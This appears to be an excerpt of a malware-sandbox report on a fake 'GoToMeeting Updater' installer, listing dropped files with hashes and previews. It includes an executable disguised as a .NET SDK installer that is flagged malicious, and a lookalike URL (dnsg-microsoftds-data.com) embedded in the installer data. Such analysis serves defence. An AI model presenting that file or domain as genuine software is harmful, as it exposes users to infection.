Preview:	...@IXOS.@.....@.z.Z.@.....@.....@.....@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}..GoTo..cpt.msi.@.....@.....@.....@........&.{8EB6C5B9-E3E4-4C99-901D-D3213245204A}.....@.....@.....@.....@.......@.....@.....@.......@......GoTo......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]....ProcessComponents..Updating component registration..&.{E2403B4A-7B91-4AD0-8120-725A16F5C9B7},.C:\Users\user\AppData\Roaming\GoToMeeting\.@....&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}...@.....@........RegisterProduct..Registering product..[1]$..@......Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-21-2246122658-3693405117-2476756634-1003\Products\478E737A8DC283743BF899687E8D9C9C\InstallPropertiesx.....\...l.............H.........?...................9...................?........... ... ........... ... ................@....$..@....3.Software\Microsoft\Windows\CurrentVersion\Uninstall.............................................. ...!.

C:\Config.Msi\58adf4.rbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	4264
Entropy (8bit):	5.078781384326003
Encrypted:	false
SSDEEP:	96:dm2bZNeKn6tTldRn6cTlddwn+snG/+riz6zX+Ua+UP:AYZNepRdRgS
MD5:	D4BB754B3E7300192649CC893D0D8034
SHA1:	7838A3A8E0C9E9CE57B4D4D573D46BD108DECBF3
SHA-256:	F14A649B4680AAECDEADDBA6F8C01169D9F29B679896FF35DFB2A7B80C04F2E3
SHA-512:	00611657BADCBC2C5F084F072A090FF992B06C57FDE593A0924D86344DCD254F020843DBBD0D178D99C18936E678788F80F17E56499BA76B4EF3AD4C66E71BC7
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@.z.Z.@.....@.....@.....@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}..GoTo..cpt.msi.@.....@.....@.....@........&.{8EB6C5B9-E3E4-4C99-901D-D3213245204A}.....@.....@.....@.....@.......@.....@.....@.......@......GoTo......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]....ProcessComponents..Updating component registration..&.{E2403B4A-7B91-4AD0-8120-725A16F5C9B7},.C:\Users\user\AppData\Roaming\GoToMeeting\.@....&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}...@.....@........RegisterProduct..Registering product..[1]$..@......Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-21-2246122658-3693405117-2476756634-1003\Products\478E737A8DC283743BF899687E8D9C9C\InstallPropertiesx.....\...l.............H.........?...................9...................?........... ... ........... ... ................@....$..@....3.Software\Microsoft\Windows\CurrentVersion\Uninstall.............................................. ...!.

C:\Config.Msi\58adf6.rbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	4264
Entropy (8bit):	5.08001563741516
Encrypted:	false
SSDEEP:	96:km2bZNeKn6tTldRn6cTlddwn+snG/+riz6zX+Ua+UP:hYZNepRdRgS
MD5:	047041BB856D7124DD6473C860E5E318
SHA1:	464E5C56CFC8BB5D9DAAFA53352C120393F45AA7
SHA-256:	3FA3905F6EAC03132FFE361E9BEEBE82C6BB5B9E2C3C6E607ECF34438579B81A
SHA-512:	93F766EA1D9A38488B7850D9DC0854DB7183CACF92026CC0CF26BDB6EB3182069F11FE714637C334A32DCA5C2A9410B0D9CB45A2C33D386A185CA07CABDD1D1D
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@.z.Z.@.....@.....@.....@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}..GoTo..cpt.msi.@.....@.....@.....@........&.{8EB6C5B9-E3E4-4C99-901D-D3213245204A}.....@.....@.....@.....@.......@.....@.....@.......@......GoTo......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]....ProcessComponents..Updating component registration..&.{E2403B4A-7B91-4AD0-8120-725A16F5C9B7},.C:\Users\user\AppData\Roaming\GoToMeeting\.@....&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}...@.....@........RegisterProduct..Registering product..[1]$..@......Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-21-2246122658-3693405117-2476756634-1003\Products\478E737A8DC283743BF899687E8D9C9C\InstallPropertiesx.....\...l.............H.........?...................9...................?........... ... ........... ... ................@....$..@....3.Software\Microsoft\Windows\CurrentVersion\Uninstall.............................................. ...!.

C:\Config.Msi\58adf8.rbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	4264
Entropy (8bit):	5.0797236316698875
Encrypted:	false
SSDEEP:	96:/m2bZNeKn6tTldRn6cTlddwn+snG/+riz6zX+Ua+UP:+YZNepRdRgS
MD5:	5AF12AC4D748239B361DFEA02132CC65
SHA1:	7CFAEDE4D4498BD40D3179673CF9088920DBD3BE
SHA-256:	D06A507324131CA0CA68E38066B7C9FDDCB7DE0E5916E0074169A3954B721871
SHA-512:	F02801E78DDAF45416D9410913C9414237A6400AA2A2E0036588F25D6E0986BD7C4A78BED8C30AE478E60AAD203B0A8958F2A81EDE3149E3840EFD2611A7C664
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@.z.Z.@.....@.....@.....@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}..GoTo..cpt.msi.@.....@.....@.....@........&.{8EB6C5B9-E3E4-4C99-901D-D3213245204A}.....@.....@.....@.....@.......@.....@.....@.......@......GoTo......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]....ProcessComponents..Updating component registration..&.{E2403B4A-7B91-4AD0-8120-725A16F5C9B7},.C:\Users\user\AppData\Roaming\GoToMeeting\.@....&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}...@.....@........RegisterProduct..Registering product..[1]$..@......Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-21-2246122658-3693405117-2476756634-1003\Products\478E737A8DC283743BF899687E8D9C9C\InstallPropertiesx.....\...l.............H.........?...................9...................?........... ... ........... ... ................@....$..@....3.Software\Microsoft\Windows\CurrentVersion\Uninstall.............................................. ...!.

C:\Config.Msi\58adfa.rbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	4264
Entropy (8bit):	5.079638141994325
Encrypted:	false
SSDEEP:	96:2m2bZNeKn6tTldRn6cTlddwn+snG/+riz6zX+Ua+UP:PYZNepRdRgS
MD5:	94B1C323884B09C1B3F3D54CB3EFD9D6
SHA1:	696A3C0BE5905918E519C2D921C6A44320F5D8B6
SHA-256:	25A7B1C4F4D5265C32D906303515925EDEA28DAF2536381A89C6B291FE756354
SHA-512:	8D96E75DCACF7087BD5629EC5DF9C392168B6283FD2775DEBF0ECCB9531876746732498C97EA1BD0155445F923CAAA3EC40195D2D033E7F9FFF3A7C94C0ECF8E
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@.z.Z.@.....@.....@.....@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}..GoTo..cpt.msi.@.....@.....@.....@........&.{8EB6C5B9-E3E4-4C99-901D-D3213245204A}.....@.....@.....@.....@.......@.....@.....@.......@......GoTo......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]....ProcessComponents..Updating component registration..&.{E2403B4A-7B91-4AD0-8120-725A16F5C9B7},.C:\Users\user\AppData\Roaming\GoToMeeting\.@....&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}...@.....@........RegisterProduct..Registering product..[1]$..@......Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-21-2246122658-3693405117-2476756634-1003\Products\478E737A8DC283743BF899687E8D9C9C\InstallPropertiesx.....\...l.............H.........?...................9...................?........... ... ........... ... ................@....$..@....3.Software\Microsoft\Windows\CurrentVersion\Uninstall.............................................. ...!.

C:\Config.Msi\58adfc.rbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	4264
Entropy (8bit):	5.079638141994325
Encrypted:	false
SSDEEP:	96:2m2bZNeKn6tTldRn6cTlddwn+snG/+riz6zX+Ua+UP:PYZNepRdRgS
MD5:	94B1C323884B09C1B3F3D54CB3EFD9D6
SHA1:	696A3C0BE5905918E519C2D921C6A44320F5D8B6
SHA-256:	25A7B1C4F4D5265C32D906303515925EDEA28DAF2536381A89C6B291FE756354
SHA-512:	8D96E75DCACF7087BD5629EC5DF9C392168B6283FD2775DEBF0ECCB9531876746732498C97EA1BD0155445F923CAAA3EC40195D2D033E7F9FFF3A7C94C0ECF8E
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@.z.Z.@.....@.....@.....@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}..GoTo..cpt.msi.@.....@.....@.....@........&.{8EB6C5B9-E3E4-4C99-901D-D3213245204A}.....@.....@.....@.....@.......@.....@.....@.......@......GoTo......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]....ProcessComponents..Updating component registration..&.{E2403B4A-7B91-4AD0-8120-725A16F5C9B7},.C:\Users\user\AppData\Roaming\GoToMeeting\.@....&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}...@.....@........RegisterProduct..Registering product..[1]$..@......Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-21-2246122658-3693405117-2476756634-1003\Products\478E737A8DC283743BF899687E8D9C9C\InstallPropertiesx.....\...l.............H.........?...................9...................?........... ... ........... ... ................@....$..@....3.Software\Microsoft\Windows\CurrentVersion\Uninstall.............................................. ...!.

C:\Config.Msi\58adfe.rbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	4264
Entropy (8bit):	5.079513360339625
Encrypted:	false
SSDEEP:	96:pm2bZNeKn6tTldRn6cTlddwn+snG/+riz6zX+Ua+UP:EYZNepRdRgS
MD5:	76736867E0D28B2DB8894CED5504216B
SHA1:	6DF80D9D596C73DC2EC1CDCBD17522BA3E42EA63
SHA-256:	8090A62AC01B0B91B56EF1E2062D1168B4A797ADD7E7BFD1E37B2EC071F93E5D
SHA-512:	C2E2829A45BD9B142D3249ADC3B7BE2768F349A16196A1E9F134023EF797D541B0B1694DD0FF5C05EF4A77E2D6884E89F1FAD70A58422304286C755962DD297E
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@.z.Z.@.....@.....@.....@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}..GoTo..cpt.msi.@.....@.....@.....@........&.{8EB6C5B9-E3E4-4C99-901D-D3213245204A}.....@.....@.....@.....@.......@.....@.....@.......@......GoTo......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]....ProcessComponents..Updating component registration..&.{E2403B4A-7B91-4AD0-8120-725A16F5C9B7},.C:\Users\user\AppData\Roaming\GoToMeeting\.@....&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}...@.....@........RegisterProduct..Registering product..[1]$..@......Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-21-2246122658-3693405117-2476756634-1003\Products\478E737A8DC283743BF899687E8D9C9C\InstallPropertiesx.....\...l.............H.........?...................9...................?........... ... ........... ... ................@....$..@....3.Software\Microsoft\Windows\CurrentVersion\Uninstall.............................................. ...!.

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	5829
Entropy (8bit):	4.901113710259376
Encrypted:	false
SSDEEP:	96:ZCJ2Woe5H2k6Lm5emmXIGLgyg12jDs+un/iQLEYFjDaeWJ6KGcmXlQ9smpFRLcUn:Uxoe5HVsm5emdQgkjDt4iWN3yBGHVQ9v
MD5:	7827E04B3ECD71FB3BD7BEEE4CA52CE8
SHA1:	22813AF893013D1CCCACC305523301BB90FF88D9
SHA-256:	5D66D4CA13B4AF3B23357EB9BC21694E7EED4485EA8D2B8C653BEF3A8E5D0601
SHA-512:	D5F6604E49B7B31C2D1DA5E59B676C0E0F37710F4867F232DF0AA9A1EE170B399472CA1DF0BD21DF702A1B5005921D35A8E6858432B00619E65D0648C74C096B
Malicious:	false
Reputation:	low
Preview:	PSMODULECACHE.....$...z..Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script........$...z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bl25zx5c.ps3.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	low
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_x0bqkozc.5rf.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	low
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\dotnet-sdk-8.0.408-win-x64.exe

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	13734257
Entropy (8bit):	7.991670608111673
Encrypted:	true
SSDEEP:	393216:923UhwMiepGd8BuRSv3nVQHzoqUgS+2dbmOofA6BOc:9MUhYQGGp3V8oASSOoTO
MD5:	D0B8B231C1C37998830B2688653260AB
SHA1:	18C91D1729FD5A7C49EC488DF15E8D37E9B7789F
SHA-256:	C1A57FFD25A3D2212C4D5F9E183BA1EADF7BBD90AC15ED78561BBAD42A78693A
SHA-512:	37877FCD32195C034EE9000325592FB488F33E3EE84F85EDFEF9084F37DE0FB56B91C19693B94D73C3113641686353D358B68B5B461083524965EC51DC8AB174
Malicious:	true
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........[..................L..............................................h......h.Q.....9.....h.....Rich...........PE..L......f.....................\|......K.............@..........................`.......}:...@.................................D............:..........P.9.H)... ...=...\|..T....................\|..........@...........................................text.............................. ..`.rdata..\|...........................@..@.data...............................@....wixburn8...........................@..@.rsrc....:.......<..................@..@.reloc...=... ...>..................@..B........................................................................................................................................................................................................................................................

C:\Windows\Installer\58adca.msi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: GoToMeeting Updater, Author: CitrixSystems, Keywords: Installer, Comments: This installer database contains the logic and data required to install GoTo., Template: x64;1033, Revision Number: {8EB6C5B9-E3E4-4C99-901D-D3213245204A}, Create Time/Date: Fri May 30 13:03:54 2025, Last Saved Time/Date: Fri May 30 13:03:54 2025, Number of Pages: 200, Number of Words: 10, Name of Creating Application: Windows Installer XML Toolset (3.14.1.8722), Security: 2
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	3.4528470756075254
Encrypted:	false
SSDEEP:	384:LFZdfAR40/RMyy3M5BCfx5Pyy3M5BC0ioXtLevuI:N0WyWMDC/yWMDC
MD5:	1903DFBC4F90409F8AB91927540DD57E
SHA1:	A843B156366CE888AA027B51F57F187931EA0E6D
SHA-256:	C456DABC102AE7FFC2744E4AF987D82BD17A50110D89D8363254C52D6A96DA11
SHA-512:	1F0BE3EA09E82FE2CEE7BBA0EE89F8A04A99AF7A8A1B59B11E4F15E232D1F654DA5DD49BA66CB954609A0CEDBC3DFEE3D7850DC5FE6799D3CC879C1C706A1BD3
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI15A3.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: GoToMeeting Updater, Author: CitrixSystems, Keywords: Installer, Comments: This installer database contains the logic and data required to install GoTo., Template: x64;1033, Revision Number: {8EB6C5B9-E3E4-4C99-901D-D3213245204A}, Create Time/Date: Fri May 30 13:03:54 2025, Last Saved Time/Date: Fri May 30 13:03:54 2025, Number of Pages: 200, Number of Words: 10, Name of Creating Application: Windows Installer XML Toolset (3.14.1.8722), Security: 2
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	3.4528470756075254
Encrypted:	false
SSDEEP:	384:LFZdfAR40/RMyy3M5BCfx5Pyy3M5BC0ioXtLevuI:N0WyWMDC/yWMDC
MD5:	1903DFBC4F90409F8AB91927540DD57E
SHA1:	A843B156366CE888AA027B51F57F187931EA0E6D
SHA-256:	C456DABC102AE7FFC2744E4AF987D82BD17A50110D89D8363254C52D6A96DA11
SHA-512:	1F0BE3EA09E82FE2CEE7BBA0EE89F8A04A99AF7A8A1B59B11E4F15E232D1F654DA5DD49BA66CB954609A0CEDBC3DFEE3D7850DC5FE6799D3CC879C1C706A1BD3
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI1640.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	5.326413165165119
Encrypted:	false
SSDEEP:	24:dLg2ldoD2vW/f6y2lrZAA9gXkXZIMEVlt17ldoVzkldoJ:dLbHrGMNZAbe3EVlt17HuzkHA
MD5:	64F5F24DFA8CDBD63C9028DC904E4598
SHA1:	9A09B97DDC0DC6D8CF7792F3492A5BE705A7CF3D
SHA-256:	F468F065B42FE3A727559BC1E795FB4DAF10C5578E0F92A0E199FC2CB9F54037
SHA-512:	00AFE5D3194FC0F95C7464536E05606B4D500864A025C5062F83D533A8BA8C2C68DB43A06388EA93A92E83BF534DD60D183C518BB0C3D83203566ACD0A996634
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@.z.Z.@.....@.....@.....@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}..GoTo..cpt.msi.@.....@.....@.....@........&.{8EB6C5B9-E3E4-4C99-901D-D3213245204A}.....@.....@.....@.....@.......@.....@.....@.......@......GoTo......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]...@.......@........ProcessComponents..Updating component registration.....@.....@.....@.]....&.{E2403B4A-7B91-4AD0-8120-725A16F5C9B7},.C:\Users\user\AppData\Roaming\GoToMeeting\.@.......@.....@.....@........RegisterProduct..Registering product..[1]i...0......PublishProduct..Publishing product information.......@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}'.https://dnsg-microsoftds-data.com/sign/..&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}.@.......@.....@.....@.]..

C:\Windows\Installer\MSI19BC.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: GoToMeeting Updater, Author: CitrixSystems, Keywords: Installer, Comments: This installer database contains the logic and data required to install GoTo., Template: x64;1033, Revision Number: {8EB6C5B9-E3E4-4C99-901D-D3213245204A}, Create Time/Date: Fri May 30 13:03:54 2025, Last Saved Time/Date: Fri May 30 13:03:54 2025, Number of Pages: 200, Number of Words: 10, Name of Creating Application: Windows Installer XML Toolset (3.14.1.8722), Security: 2
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	3.4528470756075254
Encrypted:	false
SSDEEP:	384:LFZdfAR40/RMyy3M5BCfx5Pyy3M5BC0ioXtLevuI:N0WyWMDC/yWMDC
MD5:	1903DFBC4F90409F8AB91927540DD57E
SHA1:	A843B156366CE888AA027B51F57F187931EA0E6D
SHA-256:	C456DABC102AE7FFC2744E4AF987D82BD17A50110D89D8363254C52D6A96DA11
SHA-512:	1F0BE3EA09E82FE2CEE7BBA0EE89F8A04A99AF7A8A1B59B11E4F15E232D1F654DA5DD49BA66CB954609A0CEDBC3DFEE3D7850DC5FE6799D3CC879C1C706A1BD3
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI1C2E.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	5.326413165165119
Encrypted:	false
SSDEEP:	24:dLg2ldoD2vW/f6y2lrZAA9gXkXZIMEVlt17ldoVzkldoJ:dLbHrGMNZAbe3EVlt17HuzkHA
MD5:	64F5F24DFA8CDBD63C9028DC904E4598
SHA1:	9A09B97DDC0DC6D8CF7792F3492A5BE705A7CF3D
SHA-256:	F468F065B42FE3A727559BC1E795FB4DAF10C5578E0F92A0E199FC2CB9F54037
SHA-512:	00AFE5D3194FC0F95C7464536E05606B4D500864A025C5062F83D533A8BA8C2C68DB43A06388EA93A92E83BF534DD60D183C518BB0C3D83203566ACD0A996634
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@.z.Z.@.....@.....@.....@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}..GoTo..cpt.msi.@.....@.....@.....@........&.{8EB6C5B9-E3E4-4C99-901D-D3213245204A}.....@.....@.....@.....@.......@.....@.....@.......@......GoTo......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]...@.......@........ProcessComponents..Updating component registration.....@.....@.....@.]....&.{E2403B4A-7B91-4AD0-8120-725A16F5C9B7},.C:\Users\user\AppData\Roaming\GoToMeeting\.@.......@.....@.....@........RegisterProduct..Registering product..[1]i...0......PublishProduct..Publishing product information.......@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}'.https://dnsg-microsoftds-data.com/sign/..&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}.@.......@.....@.....@.]..

C:\Windows\Installer\MSI21FB.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: GoToMeeting Updater, Author: CitrixSystems, Keywords: Installer, Comments: This installer database contains the logic and data required to install GoTo., Template: x64;1033, Revision Number: {8EB6C5B9-E3E4-4C99-901D-D3213245204A}, Create Time/Date: Fri May 30 13:03:54 2025, Last Saved Time/Date: Fri May 30 13:03:54 2025, Number of Pages: 200, Number of Words: 10, Name of Creating Application: Windows Installer XML Toolset (3.14.1.8722), Security: 2
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	3.4528470756075254
Encrypted:	false
SSDEEP:	384:LFZdfAR40/RMyy3M5BCfx5Pyy3M5BC0ioXtLevuI:N0WyWMDC/yWMDC
MD5:	1903DFBC4F90409F8AB91927540DD57E
SHA1:	A843B156366CE888AA027B51F57F187931EA0E6D
SHA-256:	C456DABC102AE7FFC2744E4AF987D82BD17A50110D89D8363254C52D6A96DA11
SHA-512:	1F0BE3EA09E82FE2CEE7BBA0EE89F8A04A99AF7A8A1B59B11E4F15E232D1F654DA5DD49BA66CB954609A0CEDBC3DFEE3D7850DC5FE6799D3CC879C1C706A1BD3
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI22B7.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	5.327336010522288
Encrypted:	false
SSDEEP:	24:kLg2ldoD2vW/f6y2lrZAA9gXkXZIMEVlt17ldoVzkldoJ:kLbHrGMNZAbe3EVlt17HuzkHA
MD5:	890DAEDAA5F121CE685185E080CCF560
SHA1:	9632940A754AF4299DFCB16B06187376BC87EFFF
SHA-256:	3882F5E856F9CFC4EFA27FB520B3D01497983E88C035C6C89BBFBF04CBBA53F5
SHA-512:	30BE08C8F59328C80070EE613DD7715C621EA1B906B6A9AE44D42D3F6F54227CCD66049EB12DFD771FA9CC4F960EB146F7153CFF951711C36A40147FC38580E4
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@.z.Z.@.....@.....@.....@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}..GoTo..cpt.msi.@.....@.....@.....@........&.{8EB6C5B9-E3E4-4C99-901D-D3213245204A}.....@.....@.....@.....@.......@.....@.....@.......@......GoTo......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]...@.......@........ProcessComponents..Updating component registration.....@.....@.....@.]....&.{E2403B4A-7B91-4AD0-8120-725A16F5C9B7},.C:\Users\user\AppData\Roaming\GoToMeeting\.@.......@.....@.....@........RegisterProduct..Registering product..[1]i...0......PublishProduct..Publishing product information.......@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}'.https://dnsg-microsoftds-data.com/sign/..&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}.@.......@.....@.....@.]..

C:\Windows\Installer\MSI2623.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: GoToMeeting Updater, Author: CitrixSystems, Keywords: Installer, Comments: This installer database contains the logic and data required to install GoTo., Template: x64;1033, Revision Number: {8EB6C5B9-E3E4-4C99-901D-D3213245204A}, Create Time/Date: Fri May 30 13:03:54 2025, Last Saved Time/Date: Fri May 30 13:03:54 2025, Number of Pages: 200, Number of Words: 10, Name of Creating Application: Windows Installer XML Toolset (3.14.1.8722), Security: 2
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	3.4528470756075254
Encrypted:	false
SSDEEP:	384:LFZdfAR40/RMyy3M5BCfx5Pyy3M5BC0ioXtLevuI:N0WyWMDC/yWMDC
MD5:	1903DFBC4F90409F8AB91927540DD57E
SHA1:	A843B156366CE888AA027B51F57F187931EA0E6D
SHA-256:	C456DABC102AE7FFC2744E4AF987D82BD17A50110D89D8363254C52D6A96DA11
SHA-512:	1F0BE3EA09E82FE2CEE7BBA0EE89F8A04A99AF7A8A1B59B11E4F15E232D1F654DA5DD49BA66CB954609A0CEDBC3DFEE3D7850DC5FE6799D3CC879C1C706A1BD3
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI26F0.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	5.325813868104395
Encrypted:	false
SSDEEP:	24:/Lg2ldoD2vW/f6y2lrZAA9gXkXZIMEVlt17ldoVzkldoJ:/LbHrGMNZAbe3EVlt17HuzkHA
MD5:	81F517E3E2370FC00ACDCE322B0BF138
SHA1:	DE20D909EC3DC8D09F9B6477D640D7A3717E6573
SHA-256:	9563BCE872C3BF4E63105266C78334A86841D9345D81ACF5A4FAAF529BE2FA4C
SHA-512:	D9075FFCCB73C050FACC44DD1E8486F97742380D0CE55C83E8C9EE7388AD1561B7988A330AAD41C3E028D1DE3D65E5FFBB00E8802816B5313BEC034F4567271D
Malicious:	false
Reputation:	low
